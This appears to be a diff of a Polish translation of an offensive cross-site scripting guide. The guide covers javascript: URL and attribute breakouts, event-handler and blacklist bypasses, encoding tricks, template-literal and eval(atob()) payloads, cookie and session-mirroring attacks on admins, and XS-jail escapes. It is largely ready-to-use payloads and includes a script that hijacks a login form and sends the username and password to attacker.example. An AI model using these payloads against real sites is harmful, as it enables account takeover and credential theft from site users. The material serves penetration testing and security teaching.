-_**W tym przypadku trik kodowania HTML i trik kodowania Unicode z poprzedniej sekcji również mają zastosowanie, ponieważ znajdujesz się wewnątrz atrybutu.**_
+_**W tym przypadku HTML encoding i Unicode encoding trick z poprzedniej sekcji również działają, ponieważ znajdujesz się wewnątrz atrybutu.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Co więcej, istnieje jeszcze jedna **fajna sztuczka** w takich przypadkach: **Nawet jeśli Twój input wewnątrz `javascript:...` jest URL encoded, zostanie URL decoded zanim zostanie wykonany.** Zatem, jeśli musisz **escape** ze **stringa** używając **single quote** i widzisz, że **jest URL encoded**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowany** jako **single quote** w czasie **wykonania**.
+Co więcej, istnieje jeszcze jedna **przydatna sztuczka** dla tych przypadków: **Nawet jeśli twoje wejście wewnątrz `javascript:...` jest URL encoded, zostanie URL decoded zanim zostanie wykonane.** Dlatego, jeśli musisz **escape** z **string** używając **single quote** i widzisz, że **jest URL encoded**, pamiętaj, że **to nie ma znaczenia,** zostanie **zinterpretowane** jako **single quote** podczas **wykonania**.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **payload**, to **nie zadziała**, ale możesz **mieszać je wewnątrz payloadu**.
+Zauważ, że jeśli spróbujesz **użyć obu** `URLencode + HTMLencode` w dowolnej kolejności, aby zakodować **payload**, to **nie zadziała**, ale możesz **mieszać je wewnątrz payload**.
 
-**Używanie Hex i Octal encode z `javascript:`**
+**Użycie Hex i Octal encode z `javascript:`**
 
-Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej), aby zadeklarować **HTML tags to execute JS**:
+Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` elementu `iframe` (przynajmniej) aby zadeklarować **HTML tags to execute JS**:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -385,16 +384,17 @@ Możesz użyć **Hex** i **Octal encode** wewnątrz atrybutu `src` elementu `ifr
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Jeśli możesz wstrzyknąć dowolny URL do arbitralnego **`<a href=`** tagu, który zawiera atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
+Jeśli możesz wstrzyknąć dowolny URL w dowolny tag **`<a href=`** zawierający atrybuty **`target="_blank" and rel="opener"`**, sprawdź **następującą stronę, aby wykorzystać to zachowanie**:
+
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### Ominięcie 'on' event handlers
+### Bypass obsługiwaczy zdarzeń "on"
 
-Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) dla przydatnych **"on" event handlers**.\
-W przypadku, gdy jakaś lista blokująca uniemożliwia utworzenie tych handlerów zdarzeń, możesz spróbować następujących obejść:
+Przede wszystkim sprawdź tę stronę ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) pod kątem przydatnych **"on" obsługiwaczy zdarzeń**.\
+W przypadku, gdy istnieje jakaś blacklist uniemożliwiająca utworzenie tych obsługiwaczy zdarzeń, możesz spróbować następujących obejść:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -430,15 +430,15 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Z [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **XSS payload inside a hidden attribute**, pod warunkiem, że potrafisz **przekonać** **victim** do naciśnięcia **kombinacji klawiszy**. W Firefoxie na Windows/Linux kombinacja klawiszy to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację klawiszy, używając innego klawisza w access key attribute. Oto wektor:
+Z [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Możesz wykonać **XSS payload wewnątrz atrybutu hidden**, pod warunkiem że potrafisz **nakłonić** **victim** do naciśnięcia **kombinacji klawiszy**. W Firefox na Windows/Linux kombinacja to **ALT+SHIFT+X**, a na OS X to **CTRL+ALT+X**. Możesz określić inną kombinację, używając innego klawisza w atrybucie access key. Oto wektor:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**The XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**
+**XSS payload będzie wyglądał mniej więcej tak: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Omijanie czarnej listy
+### Blacklist Bypasses
 
-Kilka trików z użyciem różnych kodowań zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:
+Kilka sztuczek z wykorzystaniem różnych enkodingów zostało już omówionych w tej sekcji. Wróć, aby dowiedzieć się, gdzie możesz użyć:
 
 - **HTML encoding (HTML tags)**
 - **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@@ -448,17 +448,17 @@ Kilka trików z użyciem różnych kodowań zostało już omówionych w tej sekc
 
 **Bypasses for HTML tags and attributes**
 
-Przeczytaj [Blacklist Bypasses of the previous section](#blacklist-bypasses).
+Przeczytaj the[ Blacklist Bypasses of the previous section](#blacklist-bypasses).
 
 **Bypasses for JavaScript code**
 
-Przeczytaj [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
+Przeczytaj J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
-Jeśli znalazłeś **XSS w bardzo małej części** serwisu, który wymaga jakiejś interakcji (może mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń, którą zajmuje ten element**, aby zmaksymalizować prawdopodobieństwo uruchomienia linku.
+Jeśli znalazłeś **XSS w bardzo małej części** serwisu, która wymaga jakiejś interakcji (np. mały link w stopce z elementem onmouseover), możesz spróbować **zmodyfikować przestrzeń zajmowaną przez ten element**, aby zmaksymalizować prawdopodobieństwo wywołania linku.
 
-Na przykład możesz dodać style do elementu, takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
+Na przykład możesz dodać do elementu stylowanie takie jak: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
 Ale jeśli WAF filtruje atrybut style, możesz użyć CSS Styling Gadgets, więc jeśli znajdziesz na przykład
 
@@ -468,27 +468,27 @@ oraz
 
 > \#someid {top: 0; font-family: Tahoma;}
 
-Teraz możesz zmodyfikować nasz link i nadać mu postać
+Teraz możesz zmodyfikować nasz link i doprowadzić go do postaci
 
 > \<a href="" id=someid class=test onclick=alert() a="">
 
-Ten trik został zaczerpnięty z [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
+Ten trik pochodzi z [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## Wstrzykiwanie do JavaScript code
+## Injecting inside JavaScript code
 
-W takim przypadku twoje **wejście** zostanie **odzwierciedlone wewnątrz JS code** w pliku `.js` lub pomiędzy tagami `<script>...</script>` albo w eventach HTML, które mogą wykonać JS code, lub w atrybutach akceptujących protokół `javascript:`.
+W tych przypadkach twój **input** zostanie **odzwierciedlony wewnątrz kodu JS** w pliku `.js` lub pomiędzy tagami `<script>...</script>`, albo w eventach HTML, które mogą wykonać kod JS, lub w atrybutach akceptujących protokół `javascript:`.
 
-### Ucieczka z tagu \<script>
+### Escaping \<script> tag
 
-Jeśli twój kod jest wstawiony wewnątrz `<script> [...] var input = 'reflected data' [...] </script>` możesz łatwo **uciec, zamykając tag `<script>`**:
+Jeśli twój kod jest wstawiony wewnątrz `<script> [...] var input = 'reflected data' [...] </script>`, możesz w prosty sposób **uciec, zamykając tag `<script>`**:
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, które obejmuje identyfikację elementów strony, w tym bloków skryptów. Parsowanie JavaScript w celu zrozumienia i wykonania osadzonych skryptów odbywa się dopiero później.
+Zauważ, że w tym przykładzie **nawet nie zamknęliśmy pojedynczego apostrofu**. Dzieje się tak, ponieważ **parsowanie HTML jest wykonywane najpierw przez przeglądarkę**, które obejmuje identyfikację elementów strony, w tym bloków script. Parsowanie JavaScriptu w celu zrozumienia i wykonania osadzonych skryptów jest wykonywane dopiero później.
 
 ### Wewnątrz kodu JS
 
-Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha znaków** **gdzie znajduje się Twoje wejście** i **wykonać dowolny kod JS**. Ważne jest, aby **naprawić składnię JS**, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany:
+Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha** w miejscu, gdzie twoje dane wejściowe są **osadzone**, i **wykonać dowolny JS**. Ważne jest, aby **poprawić składnię JS**, ponieważ jeśli wystąpią błędy, kod JS nie zostanie wykonany:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -496,26 +496,25 @@ Jeśli `<>` są sanitizowane, nadal możesz **uciec z łańcucha znaków** **gdz
 ```
 #### JS-in-JS string break → inject → repair pattern
 
-Gdy dane użytkownika trafiają do cytowanego stringa w JavaScript (np. echo po stronie serwera w osadzonym skrypcie), możesz przerwać string, wstrzyknąć kod i naprawić składnię, aby parsowanie pozostało poprawne. Ogólny szkielet:
+Kiedy dane wejściowe użytkownika trafiają wewnątrz cytowanego łańcucha JavaScript (e.g., server-side echo into an inline script), możesz zakończyć łańcuch, wstrzyknąć kod i naprawić składnię, aby dalsze parsowanie było poprawne. Ogólny szkielet:
 ```
 "            // end original string
 ;            // safely terminate the statement
 <INJECTION>  // attacker-controlled JS
 ; a = "      // repair and resume expected string/statement
 ```
-Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w JS stringu:
+Przykładowy wzorzec URL, gdy podatny parametr jest odzwierciedlany w stringu JS:
 ```
 ?param=test";<INJECTION>;a="
 ```
-This executes attacker JS without needing to touch HTML context (pure JS-in-JS). Combine with blacklist bypasses below when filters block keywords.
+To wykonuje złośliwy kod JS bez potrzeby modyfikowania kontekstu HTML (pure JS-in-JS). Połącz z blacklist bypasses poniżej, gdy filtry blokują słowa kluczowe.
 
-### Template literals \`\`
+### Literały szablonowe ``
 
-Aby konstruować **strings** — oprócz pojedynczych i podwójnych cudzysłowów JS akceptuje także **backticks** **` `` `**. Jest to znane jako template literals, ponieważ pozwalają na **osadzanie wyrażeń JS** przy użyciu składni `${ ... }`.\
+Aby konstruować **strings**, oprócz pojedynczych i podwójnych cudzysłowów, JS akceptuje także **backticks** **` `` `**. Są one znane jako template literals, ponieważ pozwalają na **embedded JS expressions** używając składni `${ ... }`.\  
+Jeśli więc okaże się, że Twój input jest **reflected** wewnątrz JS string używającego backticks, możesz wykorzystać składnię `${ ... }`, aby wykonać **arbitrary JS code**:
 
-Jeśli więc stwierdzisz, że Twoje dane wejściowe są **odbijane** wewnątrz JS string używającego backticks, możesz wykorzystać składnię `${ ... }`, by wykonać **dowolny kod JS**:
-
-This can be **abused** using:
+Można to **wykorzystać** używając:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -527,21 +526,21 @@ return loop
 }
 loop``
 ```
-### Zakodowane code execution
+### Encoded code execution
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### Payloady do dostarczenia z eval(atob()) i niuanse zakresu
+#### Deliverable payloads with eval(atob()) and scope nuances
 
-Aby skrócić URL i obejść naiwne filtry słów kluczowych, możesz zakodować swoją rzeczywistą logikę w base64 i wykonać ją za pomocą `eval(atob('...'))`. Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak `alert`, `eval` lub `atob`, użyj Unicode-escaped identyfikatorów, które kompilują się identycznie w przeglądarce, ale omijają filtry oparte na dopasowaniu tekstu:
+Aby skrócić URL-e i obejść proste filtry słów kluczowych, możesz zakodować swoją rzeczywistą logikę w base64 i wykonać ją za pomocą `eval(atob('...'))`. Jeśli proste filtrowanie słów kluczowych blokuje identyfikatory takie jak `alert`, `eval` lub `atob`, użyj identyfikatorów zapisanych jako Unicode-escape, które kompilują się identycznie w przeglądarce, ale omijają filtry dopasowujące ciągi znaków:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Istotny niuans dotyczący zakresu: `const`/`let` zadeklarowane wewnątrz `eval()` mają zakres blokowy i NIE tworzą zmiennych globalnych; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykniętego elementu `<script>`, aby zdefiniować globalne, non-rebindable hooks, gdy to konieczne (e.g., to hijack a form handler):
+Ważny niuans dotyczący zakresu: `const`/`let` deklarowane wewnątrz `eval()` mają zasięg blokowy i NIE tworzą zmiennych globalnych; nie będą dostępne dla późniejszych skryptów. Użyj dynamicznie wstrzykiwanego elementu `<script>`, aby zdefiniować globalne, niemożliwe do ponownego przypisania hooki, gdy to konieczne (np. aby przejąć obsługę formularza):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@@ -549,15 +548,15 @@ document.head.appendChild(s);
 ```
 Źródło: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
 
-### Unicode Encode — wykonanie JS
+### Unicode Encode — wykonywanie JS
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript - techniki obejścia czarnych list
+### Techniki bypass blacklists w JavaScript
 
-**Stringi**
+**Strings**
 ```javascript
 "thisisastring"
 'thisisastrig'
@@ -574,7 +573,7 @@ String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
 atob("dGhpc2lzYXN0cmluZw==")
 eval(8680439..toString(30))(983801..toString(36))
 ```
-**Specjalne sekwencje ucieczki**
+**Specjalne znaki ucieczki**
 ```javascript
 "\b" //backspace
 "\f" //form feed
@@ -593,7 +592,7 @@ eval(8680439..toString(30))(983801..toString(36))
 <TAB>
 /**/
 ```
-**JavaScript comments (z** [**JavaScript Comments**](#javascript-comments) **triku)**
+**JavaScript komentarze (z** [**JavaScript Comments**](#javascript-comments) **sztuczka)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -601,7 +600,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript new lines (z** [**JavaScript new line**](#javascript-new-lines) **sztuczki)**
+**JavaScript new lines (z** [**JavaScript new line**](#javascript-new-lines) **trick)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -613,7 +612,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript białe znaki**
+**Białe znaki w JavaScript**
 ```javascript
 log=[];
 function funct(){}
@@ -778,37 +777,39 @@ top[8680439..toString(30)](1)
 ```
 ## **DOM vulnerabilities**
 
-Istnieje **JS code**, który korzysta z danych kontrolowanych przez atakującego w niebezpieczny sposób, takich jak `location.href`. Atakujący może to wykorzystać do wykonania dowolnego kodu JS.\
-**Z uwagi na obszerność wyjaśnienia** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+There is **JS code** that is using **danych kontrolowanych przez atakującego w niebezpieczny sposób** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
+**Z powodu rozbudowania wyjaśnienia** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Znajdziesz tam szczegółowe **wyjaśnienie, czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować**.\
-Nie zapomnij też, że **na końcu wspomnianego artykułu** znajduje się wyjaśnienie dotyczące [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
+Znajdziesz tam szczegółowe **wyjaśnienie czym są DOM vulnerabilities, jak są wywoływane i jak je eksploatować**.\
+Nie zapomnij też, że **na końcu wspomnianego wpisu** znajdziesz wyjaśnienie dotyczące [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
 ### Upgrading Self-XSS
 
 ### Cookie XSS
 
-Jeśli możesz wywołać XSS wysyłając payload wewnątrz cookie, zwykle jest to Self-XSS. Jednak jeśli znajdziesz **vulnerable subdomain to XSS**, możesz wykorzystać ten XSS do wstrzyknięcia cookie dla całej domeny, co pozwoli uruchomić cookie XSS w domenie głównej lub innych subdomenach (tych podatnych na cookie XSS). W tym celu możesz użyć cookie tossing attack:
+If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
 
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
 {{#endref}}
 
-Przykładowe wykorzystanie tej techniki można znaleźć w [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
+You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Sending your session to the admin
+### Wysłanie swojej sesji do administratora
 
-Może użytkownik udostępnić swój profil adminowi, a jeśli Self-XSS znajduje się w profilu użytkownika i admin go odwiedzi, uruchomi podatność.
+Może użytkownik udostępnić swój profil administratorowi, a jeśli self XSS znajduje się w profilu użytkownika i administrator go otworzy, uruchomi podatność.
 
 ### Session Mirroring
 
-Jeśli znajdziesz jakieś Self-XSS, a strona ma **session mirroring for administrators** — na przykład umożliwiając klientom proszenie o pomoc, tak że aby admin mógł pomóc będzie widzieć to, co widzisz w swojej session, ale z perspektywy jego session — możesz sprawić, że **administrator uruchomi twoje Self-XSS** i ukraść jego cookies/session.
+Jeśli znajdziesz self XSS, a strona ma **session mirroring for administrators**, na przykład umożliwiające klientom prośbę o pomoc i w celu udzielenia pomocy administrator widzi to, co widzisz w swojej sesji, ale z jego sesji.
+
+Możesz sprawić, że **administrator uruchomi Twój self XSS** i ukraść jego cookies/sesję.
 
 ## Other Bypasses
 
@@ -822,12 +823,12 @@ Możesz sprawdzić, czy **reflected values** są **unicode normalized** po stron
 ```
 ### Ruby-On-Rails bypass
 
-Z powodu **RoR mass assignment** w HTML wstawiane są cudzysłowy, dzięki czemu ograniczenie cudzysłowów można obejść i dodatkowe pola (onfocus) można dodać wewnątrz znacznika.\
+Z powodu **RoR mass assignment** cudzysłowy są wstawiane do HTML, a ograniczenie dotyczące cudzysłowów zostaje ominięte i dodatkowe pola (onfocus) mogą zostać dodane wewnątrz tagu.\
 Przykład formularza ([from this report](https://hackerone.com/reports/709336)), jeśli wyślesz payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-Para "Key","Value" zostanie zwrócona w następujący sposób:
+Para "Key","Value" zostanie wyświetlona w następujący sposób:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
@@ -863,20 +864,20 @@ Wówczas atrybut onfocus zostanie wstawiony i nastąpi XSS.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### XSS with header injection in a 302 response
+### XSS z wstrzyknięciem nagłówka w odpowiedzi 302
 
-Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To jest **not trivial**, ponieważ nowoczesne przeglądarki nie interpretują HTTP response body jeśli HTTP response status code to 302, więc sam cross-site scripting payload jest bezużyteczny.
+Jeśli odkryjesz, że możesz **inject headers in a 302 Redirect response** możesz spróbować **make the browser execute arbitrary JavaScript**. To **nie jest trywialne**, ponieważ nowoczesne przeglądarki nie interpretują ciała odpowiedzi HTTP, jeśli kod statusu odpowiedzi to 302, więc samo cross-site scripting payload jest bezużyteczne.
 
-W [**this report**](https://www.gremwell.com/firefox-xss-302) i [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak testować różne protokoły w Location header i sprawdzić, czy któryś z nich pozwala browserowi inspect i execute XSS payload inside the body.\
-Dotychczas znane protokoły: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
+W [**this report**](https://www.gremwell.com/firefox-xss-302) i w [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) możesz przeczytać, jak przetestować kilka protokołów wewnątrz Location header i sprawdzić, czy któryś z nich pozwala przeglądarce na przejrzenie i wykonanie XSS payload wewnątrz ciała odpowiedzi.\
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
-### Only Letters, Numbers and Dots
+### Tylko litery, cyfry i kropki
 
-Jeśli możesz wskazać **callback**, który javascript ma **execute**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak wykorzystać to zachowanie.
+Jeśli możesz wskazać **callback**, który javascript ma **wykonać**, ograniczony do tych znaków. [**Read this section of this post**](#javascript-function) aby dowiedzieć się, jak nadużyć tego zachowania.
 
 ### Valid `<script>` Content-Types to XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) If you try to load a script with a **content-type** such as `application/octet-stream`, Chrome will throw following error:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Jeśli spróbujesz załadować skrypt z **content-type** takim jak `application/octet-stream`, Chrome wyrzuci następujący błąd:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
@@ -902,16 +903,16 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### Typy skryptów dla XSS
+### Typy skryptów do XSS
 
-(Z [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Które typy można wskazać, aby załadować skrypt?
+(Na podstawie [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Które typy można wskazać, aby załadować skrypt?
 ```html
 <script type="???"></script>
 ```
-Odpowiedź:
+Odpowiedź to:
 
-- **module** (domyślny, brak wyjaśnień)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala zapakować zbiór danych (HTML, CSS, JS…) w jeden plik **`.wbn`**.
+- **module** (domyślny, nic do wyjaśnienia)
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles to funkcja, która pozwala zapakować wiele danych (HTML, CSS, JS…) w jeden plik **`.wbn`**.
 ```html
 <script type="webbundle">
 {
@@ -921,7 +922,7 @@ Odpowiedź:
 </script>
 The resources are loaded from the source .wbn, not accessed via HTTP
 ```
-- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importów
+- [**importmap**](https://github.com/WICG/import-maps)**:** Pozwala ulepszyć składnię importu
 ```html
 <script type="importmap">
 {
@@ -938,9 +939,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) do przekierowania biblioteki na eval w celu jej nadużycia, co może wywołać XSS.
+To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) aby przypisać bibliotekę do eval; nadużycie tego może wywołać XSS.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja jest głównie przeznaczona do rozwiązania pewnych problemów spowodowanych pre-renderingiem. Działa w następujący sposób:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Ta funkcja ma na celu przede wszystkim rozwiązanie niektórych problemów spowodowanych wstępnym renderowaniem. Działa w następujący sposób:
 ```html
 <script type="speculationrules">
 {
@@ -956,9 +957,9 @@ To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca
 }
 </script>
 ```
-### Web Content-Types prowadzące do XSS
+### Web Content-Types umożliwiające XSS
 
-(Z [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące typy treści mogą wykonać XSS we wszystkich przeglądarkach:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Następujące content types mogą wykonać XSS we wszystkich przeglądarkach:
 
 - text/html
 - application/xhtml+xml
@@ -969,11 +970,11 @@ To zachowanie zostało użyte w [**this writeup**](https://github.com/zwade/yaca
 - application/rss+xml (off)
 - application/atom+xml (off)
 
-W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, zobacz: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+W innych przeglądarkach inne **`Content-Types`** mogą być użyte do wykonania dowolnego JS, sprawdź: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
 ### xml Content Type
 
-Jeśli strona zwraca text/xml jako content-type, możliwe jest wskazanie namespace i wykonanie dowolnego JS:
+Jeśli strona zwraca content-type text/xml, możliwe jest wskazanie namespace i wykonanie dowolnego JS:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -983,9 +984,9 @@ Jeśli strona zwraca text/xml jako content-type, możliwe jest wskazanie namespa
 ```
 ### Specjalne wzorce zastępowania
 
-Gdy używa się czegoś w stylu **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Gdy używane jest coś takiego jak **`"some {{template}} data".replace("{{template}}", <user_input>)`**, atakujący może użyć [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) żeby spróbować obejść niektóre zabezpieczenia: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), użyto tego, aby **zescapować ciąg JSON** wewnątrz skryptu i wykonać dowolny kod.
+Na przykład w [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), użyto tego do ucieczki z ograniczeń ciągu JSON umieszczonego wewnątrz skryptu i wykonania dowolnego kodu.
 
 ### Chrome Cache to XSS
 
@@ -996,7 +997,7 @@ chrome-cache-to-xss.md
 
 ### XS Jails Escape
 
-Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne prawidłowe rozwiązania dla problemów XSJail:
+Jeśli masz do dyspozycji tylko ograniczony zestaw znaków, sprawdź te inne poprawne rozwiązania dla problemów XSJail:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1027,16 +1028,16 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Jeśli przed uruchomieniem nieufnego kodu **wszystko jest niezdefiniowane** (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) możliwe jest wygenerowanie użytecznych obiektów "z niczego", aby nadużyć wykonywania dowolnego nieufnego kodu:
+Jeśli **wszystko jest undefined** przed wykonaniem niezaufanego kodu (jak w [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), możliwe jest wygenerowanie przydatnych obiektów "z niczego", aby wykorzystać wykonanie dowolnego niezaufanego kodu:
 
-- Użycie import()
+- Używając import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- Dostęp do `require` pośrednio
+- Pośredni dostęp do `require`
 
